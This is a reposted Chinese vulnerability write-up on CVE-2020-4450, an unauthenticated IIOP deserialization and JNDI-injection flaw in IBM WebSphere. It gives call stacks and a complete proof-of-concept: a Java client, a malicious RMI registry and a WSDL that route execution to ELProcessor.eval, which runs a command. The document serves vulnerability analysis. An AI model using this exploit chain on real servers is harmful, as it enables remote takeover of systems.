rmi远程代码执行漏洞_WebSphere 远程代码执行漏洞浅析(CVE20204450)

作者:beijixiong404    文章来源:先知社区


漏洞简介

WebSphere是IBM的软件平台,它包含了编写、运行和监视全天候的工业强度的随需应变 Web 应用程序和跨平台、跨产品解决方案所需要的整个中间件基础设施,如服务器、服务和工具。2020年6月8日,IBM官方发布了WebSphere Application Server(WAS)中的远程代码执行(CVE-2020-4450)漏洞的通告,此漏洞由IIOP协议上的反序列化恶意对象造成,未经身份认证的攻击者可以通过IIOP协议远程攻击WAS服务器,在目标服务端执行任意代码,获取目标系统权限。

漏洞分析

WAS对于IIOP的数据由com.ibm.ws.Transaction.JTS.TxServerInterceptor#receive_request方法被处理,在处理过程中,当ServiceContext对象不为空时,com.ibm.ws.Transaction.JTS.TxInterceptorHelper#demarshalContext被调用,进入反序列化的执行流,在调用过程中,最终调用com.ibm.rmi.io.IIOPInputStream#invokeObjectReader通过反射调用readObject方法进行反序列化,反序列化执行流如下:

readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:90, NativeMethodAccessorImpl (sun.reflect)
invoke:55, DelegatingMethodAccessorImpl (sun.reflect)
invoke:508, Method (java.lang.reflect)
invokeObjectReader:2483, IIOPInputStream (com.ibm.rmi.io)
inputObjectUsingClassDesc:2010, IIOPInputStream (com.ibm.rmi.io)
continueSimpleReadObject:749, IIOPInputStream (com.ibm.rmi.io)
simpleReadObjectLoop:720, IIOPInputStream (com.ibm.rmi.io)
simpleReadObject:669, IIOPInputStream (com.ibm.rmi.io)
readValue:193, ValueHandlerImpl (com.ibm.rmi.io)
read_value:787, CDRReader (com.ibm.rmi.iiop)
read_value:847, EncoderInputStream (com.ibm.rmi.iiop)
unmarshalIn:273, TCUtility (com.ibm.rmi.corba)
read_value:664, AnyImpl (com.ibm.rmi.corba)
read_any:467, CDRReader (com.ibm.rmi.iiop)
read_any:797, EncoderInputStream (com.ibm.rmi.iiop)
demarshalContext:171, TxInterceptorHelper (com.ibm.ws.Transaction.JTS)
receive_request:180, TxServerInterceptor (com.ibm.ws.Transaction.JTS)
……
dispatch:508, ServerDelegate (com.ibm.CORBA.iiop)

f2d4a014a1ca4fd62d34ebd95e6eac44.png

ZDI的文章里,找到了一个org.apache.wsif.providers.ejb.WSIFPort_EJB.class,该类的readObject方法中存在JNDI注入逻辑,代码执行流如下:

lookup:150, RegistryContext (com.sun.jndi.rmi.registry)
lookup:217, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:161, DelegateContext (org.apache.aries.jndi)
lookup:428, InitialContext (javax.naming)
getEJBObject:166, EntityHandle (com.ibm.ejs.container) readObject:516, WSIFPort_EJB (org.apache.wsif.providers.ejb)

9355003847a559a565b9a67302218d89.png

到此,进入核心利用点,在通过JNDI的lookup方法获得对应的EJBHome实例的时候,是通过environment中定义的ObjectFactory的具体实现类对应获得工厂实例,然后通过对应工厂getObjectInstance方法创建EJBHome实例,这里修改environment变量中的java.naming.factory.object属性值为org.apache.wsif.naming.WSIFServiceObjectFactory。代码执行流如下:

getObjectInstance:138, WSIFServiceObjectFactory (org.apache.wsif.naming), WSIFServiceObjectFactory.java
getObjectInstanceViaContextDotObjectFactories:167, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstanceViaContextDotObjectFactories:125, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:109, ObjectFactoryHelper (org.apache.aries.jndi), ObjectFactoryHelper.java
getObjectInstance:62, OSGiObjectFactoryBuilder (org.apache.aries.jndi), OSGiObjectFactoryBuilder.java
getObjectInstance:311, NamingManager (javax.naming.spi), NamingManager.java
decodeObject:511, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java
lookup:150, RegistryContext (com.sun.jndi.rmi.registry), RegistryContext.java

8374f512818c33b4fbd2d1b65a67cb5f.png

之所以修改为该工厂类,是因为该工厂类的getObjectInstance方法的奇妙,该方法调用了WSIF的流程,而其中需要的属性值是通过注入的Reference对象赋值。从而引入自定义的wsdl文件,通过wsdl文件可以将接口方法映射到其他的具体实现中,改变具体接口的执行流;并且可以对className赋值使其返回满足利用条件的EJBHome实例。

4a9036e2f77dc18aa14170a25bc21bd8.png

具体要实现的核心目的就是返回一个EJBHome实例,通过自定义wsdl文件映射EJBHome的findByPrimaryKey方法(EJB规范)到其他类的方法中,比如javax.el.ELProcessor的eval方法,从而实现代码执行。代码执行栈如下:

eval:57, ELProcessor (javax.el), ELProcessor.java
invoke0:-1, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:90, NativeMethodAccessorImpl (sun.reflect), NativeMethodAccessorImpl.java
invoke:55, DelegatingMethodAccessorImpl (sun.reflect), DelegatingMethodAccessorImpl.java
invoke:508, Method (java.lang.reflect), Method.java
executeRequestResponseOperation:1208, WSIFOperation_Java (org.apache.wsif.providers.java), WSIFOperation_Java.java
invoke:311, WSIFClientProxy (org.apache.wsif.base), WSIFClientProxy.java
findByPrimaryKey:-1, $Proxy82 (com.sun.proxy), Unknown Source

47ec399982af500b0762bfada3b0c78b.png

2b94a00e2420af817647b90d28a9c30b.png

2e4bb3ad0a456d5e8d2f3647ab404c26.png

POC

TEST
public class Test {public static void main(String[] args) throws Exception {Properties env = new Properties();env.put(Context.PROVIDER_URL, "iiop://169.254.0.117:2809");env.put(Context.INITIAL_CONTEXT_FACTORY, "com.ibm.websphere.naming.WsnInitialContextFactory");InitialContext context = new InitialContext(env);context.list("");Field f_defaultInitCtx = context.getClass().getDeclaredField("defaultInitCtx");f_defaultInitCtx.setAccessible(true);WsnInitCtx defaultInitCtx = (WsnInitCtx) f_defaultInitCtx.get(context);Field f_context = defaultInitCtx.getClass().getDeclaredField("_context");f_context.setAccessible(true);CNContextImpl _context = (CNContextImpl) f_context.get(defaultInitCtx);Field f_corbaNC = _context.getClass().getDeclaredField("_corbaNC");f_corbaNC.setAccessible(true);_NamingContextStub _corbaNC = (_NamingContextStub) f_corbaNC.get(_context);Field f__delegate = ObjectImpl.class.getDeclaredField("__delegate");f__delegate.setAccessible(true);ClientDelegate clientDelegate = (ClientDelegate) f__delegate.get(_corbaNC);Field f_ior = clientDelegate.getClass().getSuperclass().getDeclaredField("ior");f_ior.setAccessible(true);IOR ior = (IOR) f_ior.get(clientDelegate);Field f_orb = clientDelegate.getClass().getSuperclass().getDeclaredField("orb");f_orb.setAccessible(true);ORB orb = (ORB) f_orb.get(clientDelegate);GIOPImpl giop = (GIOPImpl) orb.getServerGIOP();Method getConnection = giop.getClass().getDeclaredMethod("getConnection", com.ibm.CORBA.iiop.IOR.class, com.ibm.rmi.Profile.class, com.ibm.rmi.corba.ClientDelegate.class, String.class);getConnection.setAccessible(true);Connection connection = (Connection) getConnection.invoke(giop, ior, ior.getProfile(), clientDelegate, "beijixiong404");Method setConnectionContexts = connection.getClass().getDeclaredMethod("setConnectionContexts", ArrayList.class);setConnectionContexts.setAccessible(true);ArrayList v4 = new ArrayList();WSIFPort_EJB wsifPort_ejb = new WSIFPort_EJB(null,null,null);Field fieldEjbObject = wsifPort_ejb.getClass().getDeclaredField("fieldEjbObject");fieldEjbObject.setAccessible(true);fieldEjbObject.set(wsifPort_ejb,new EJSWrapperS());CDROutputStream outputStream = ORB.createCDROutputStream();outputStream.putEndian();Any any = orb.create_any();any.insert_Value(wsifPort_ejb);PropagationContext propagationContext = new PropagationContext(0,new TransIdentity(null,null, new otid_t(0,0,new byte[0])),new TransIdentity[0],any);PropagationContextHelper.write(outputStream,propagationContext);byte[] result = outputStream.toByteArray();ServiceContext serviceContext = new ServiceContext(0, result);v4.add(serviceContext);setConnectionContexts.invoke(connection, v4);context.list("");}}class EJSWrapperS extends EJSWrapper {@Overridepublic Handle getHandle() throws RemoteException {Handle var2 = null;try {SessionHome sessionHome = new SessionHome();J2EEName j2EEName = new J2EENameImpl("aa", "aa", "aa");Field j2eeName = EJSHome.class.getDeclaredField("j2eeName");j2eeName.setAccessible(true);j2eeName.set(sessionHome, j2EEName);Field jndiName = sessionHome.getClass().getSuperclass().getDeclaredField("jndiName");jndiName.setAccessible(true);jndiName.set(sessionHome, "rmi://169.254.0.117:1099/poc");Serializable key = "\"a\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")";BeanId beanId = new BeanId(sessionHome, key, true);BeanMetaData beanMetaData = new BeanMetaData(1);beanMetaData.homeInterfaceClass = com.ibm.ws.batch.CounterHome.class;Properties initProperties = new Properties();initProperties.setProperty("java.naming.factory.object", "org.apache.wsif.naming.WSIFServiceObjectFactory");Constructor c = EntityHandle.class.getDeclaredConstructor(BeanId.class, BeanMetaData.class, Properties.class);c.setAccessible(true);var2 = (Handle) c.newInstance(beanId, beanMetaData, initProperties);} catch (Exception e) {e.printStackTrace();}return var2;}}
RMI Server
public class RMIServer {public static void main(String[] args) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference ref = new Reference(WSIFServiceStubRef.class.getName(), (String) null, (String) null);ref.add(new StringRefAddr("wsdlLoc", "http://169.254.0.117:80/poc.wsdl"));ref.add(new StringRefAddr("serviceNS", null));ref.add(new StringRefAddr("serviceName", null));ref.add(new StringRefAddr("portTypeNS", "http://wsifservice.addressbook/"));ref.add(new StringRefAddr("portTypeName", "Gadget"));ref.add(new StringRefAddr("preferredPort", "JavaPort"));ref.add(new StringRefAddr("className", "com.ibm.ws.batch.CounterHome"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("poc", referenceWrapper);}}
wsdl文件
<?xml version="1.0" ?>targetNamespace="http://wsifservice.addressbook/"xmlns:tns="http://wsifservice.addressbook/"xmlns:xsd="http://www.w3.org/1999/XMLSchema"xmlns:format="http://schemas.xmlsoap.org/wsdl/formatbinding/"xmlns:java="http://schemas.xmlsoap.org/wsdl/java/"xmlns="http://schemas.xmlsoap.org/wsdl/">name="findByPrimaryKeyRequest">name="el" type="xsd:string"/>name="findByPrimaryKeyResponse">name="counterObject" type="xsd:object"/>name="Gadget">name="findByPrimaryKey">message="tns:findByPrimaryKeyRequest"/>message="tns:findByPrimaryKeyResponse"/>name="JavaBinding" type="tns:Gadget">encoding="Java" style="Java">typeName="xsd:string" formatType="java.lang.String"/>typeName="xsd:object" formatType="java.lang.Object"/>name="findByPrimaryKey">methodName="eval"parameterOrder="el"methodType="instance"returnPart="counterObject"/>name="GadgetService">name="JavaPort" binding="tns:JavaBinding">
className="javax.el.ELProcessor"/>

思考

  • 对EJB规范的理解可以对分析事半功倍。

参考

  • https://www.zerodayinitiative.com/blog/2020/7/20/abusing-java-remote-protocols-in-ibm-websphere

  • https://cert.360.cn/report/detail?id=3d016bdef66b8e29936f8cb364f265c8

  • https://paper.seebug.org/1303/

  • https://www.secrss.com/articles/24353

_____ end _____

关注公众号:HACK之道

520bab64667e49c7d71a76ae840f5948.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/426233.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Visual Studio最好用的快捷键(你最喜欢哪个)

每次在网上搜关于VS有哪些常用快捷键的时候&#xff0c;出来的永远是一串长的不能再长的列表&#xff0c;完全没体现出“常用”二字&#xff0c;每次看完前面几个就看不下去了&#xff0c;相信大家都 有这种感觉。其实我们平时用的真的只有很少的一部分&#xff0c;借用一句“二…

玩转oracle 11g(17):命令学习5

21建立班级表 CREATE TABLE class( classId NUMBER(2), cName VARCHAR2(40) ); insert into class values(001,计算机科学与技术); insert into class values(002,计算机科学与技术); insert into class values(003,计算机科学与技术); insert into class values…

版是什么_晴天保保超越版好不好,有什么升级?

(图片来源&#xff1a;Pixabay)首发 | 公众号「 吐逗保 」文 | 逗逗酱(,,&#xff65;∀&#xff65;)&#xff89;゛Hello&#xff0c;大噶好哇~给孩子买重疾险&#xff0c;逗逗酱一直以来推荐给大家最多的就是“晴天保保”、“妈咪保贝”或“大黄蜂系列少儿重疾险”。兼顾了定…

三种常见字符编码简介:ASCII、Unicode和UTF-8

什么是字符编码&#xff1f; 计算机只能处理数字&#xff0c;如果要处理文本&#xff0c;就必须先把文本转换为数字才能处理。最早的计算机在设计时采用8个比特&#xff08;bit&#xff09;作为一个字节&#xff08;byte&#xff09;&#xff0c;所以&#xff0c;一个字节能表…

贝叶斯软件genle教程_一文读懂蒙特卡罗方法和应用贝叶斯推理

贝叶斯方法与推论&#xff0c;本文应作为我的教程的背景&#xff0c;该教程使用(Py)Stan进行轻松的的应用贝叶斯推理&#xff0c;以及使用r-INLA进行(近似)贝叶斯回归的介绍。在本文中&#xff0c;我将提供有关贝叶斯推理和蒙特卡洛方法的非常简短&#xff0c;自成体系的介绍&a…

看动画轻松理解时间复杂度(一)

算法&#xff08;Algorithm&#xff09;是指用来操作数据、解决程序问题的一组方法。对于同一个问题&#xff0c;使用不同的算法&#xff0c;也许最终得到的结果是一样的&#xff0c;比如排序就有前面的十大经典排序和几种奇葩排序&#xff0c;虽然结果相同&#xff0c;但在过程…

win10切第二屏幕_Win10特有的31个快捷键,装逼利器,赶快收藏吧!学习电脑知识...

很多快捷键不同版本系统基本相同的&#xff0c;不过&#xff0c;今天推送的这篇更多偏向于win10&#xff0c;因为win10将来必定会形成主流&#xff0c;所以还是值得学习。【WinX】 打开简易版开始菜单。【Wini】 打开设置面板。【WinL】 快速锁屏【WinE】 启动资源管理器&#…

java学习(116):arraylist集合实现类

import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; //员工信息类 //date类 public class test50 {private String name;private String sex;private Date birth;public void showme(){System.out.println(this.getName());System.out.p…

redis存储数据类型_Redis与Memcahe的区别最全整理

经常看到大家只能对比redis和memecache的前两项区别【持久化】和【数据类型】&#xff0c;这里&#xff0c;给整理了最全的memcache和redis的区别&#xff0c;欢迎交流哦缓存(1)【持久化能力】Redis支持持久化&#xff0c;memcache也支持但一般不做持久化(重启丢失数据)(2)【数…

java学习(117):list迭代器和包含方法

import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; //员工信息类 //date类 public class test50 {private String name;private String sex;private Date birth;public void showme(){System.out.println(this.getName());System.out.p…

某项目的双代号网络图如下所示_2019一级建造师项目管理知识点大全3

更多精彩内容&#xff0c;点击 蓝字 关注我们1Z203000 建设工程项目进度控制1Z203010 建设工程项目进度控制与进度计划系统>>> 1Z203011 项目进度控制的目的考点 1&#xff1a;项目进度控制的工作环节 项目管理各方都有进度控制的任务&#xff0c;但其控制的目标和…

java学习(118):vector类

import java.text.DateFormat; import java.text.SimpleDateFormat; import java.util.Date; //员工信息类 //date类 public class test50 {private String name;private String sex;private Date birth;public void showme(){System.out.println(this.getName());System.out.p…

Ipython\Jupyter数据分析工具

使用Python进行数据分析优点   1 Python大量的库为数据分析和处理提供了完整的工具集   2 比起R和Matlab等其他主要用于数据分析的编程语言&#xff0c;Python更全能   3 Python库一直在增加&#xff0c;算法的实现采用更具有创新性的方法   4 Python能和很多语言对接&…

分页的limit_20.MySQL中的LIMIT(分页)

对于一次性查询出的大量记录&#xff0c;不仅不便于阅读查看&#xff0c;还会浪费系统效率。MySQL中提供了一个关键字LIMIT&#xff0c;可以限定记录的数量&#xff0c;也可以指定查询从哪一条记录开始(通常用于分页)。1.准备CREATE DATABASE mahaiwuji;USE mahaiwuji;CREATE T…

java学习(120):set的iterator

public class Goods {//商品实体类private String number;//商品编号private String name;//商品价格private double price;//商品单价private int quantity;//商品数量public void setNumber(String number) {this.number number;}public String getNumber() {return numbe…

深入浅出etcd系列 – 心跳和选举

作者&#xff1a;宝爷 校对&#xff1a;DJ 1、绪论 etcd作为华为云PaaS的核心部件&#xff0c;实现了PaaS大多数组件的数据持久化、集群选举、状态同步等功能。如此重要的一个部件&#xff0c;我们只有深入地理解其架构设计和内部工作机制&#xff0c;才能更好地学习华为云Kube…

java学习(121):treeset排序集合

//treeset排序集合 import java.util.*;public class test61{public static void main(String[] args){TreeSet treenew TreeSet();//创建一个采用默认树形自然排序的对象tree.add(new Integer(50));tree.add(new Integer(150));tree.add(new Integer(250));tree.add(new Integ…

修改value_EXCEL批量名称修改

!!嘿嘿,今天给大家更新一章网上算是比较热的一个EXCEL技巧,当然这个是用VBA才能做到的,那就是名称的批量修改.打个比方吧.如果今天你要整理一下,你过往的一些照片,或者文件,这些文件或者照片要按照编辑时间和事件名称来进行编辑,那么你会怎么办?或者说,今天我到西湖去玩了一趟…

java学习(122):treeset自定义排序

//自定义排序 import java.util.*; public class test62 {public static void main(String[] args){TreeSet treenew TreeSet();//创建一个采用默认树形自然排序的对象tree.add(new Integer(50));tree.add(new Integer(150));tree.add(new Integer(250));tree.add(new Integer(…

运行指定代码_JavaScript 运行机制(Event Loop)详解

一、为什么JavaScript是单线程&#xff1f;JavaScript语言的一大特点就是单线程&#xff0c;也就是说&#xff0c;同一个时间只能做一件事。那么&#xff0c;为什么JavaScript不能有多个线程呢&#xff1f;这样能提高效率啊。JavaScript的单线程&#xff0c;与它的用途有关。作…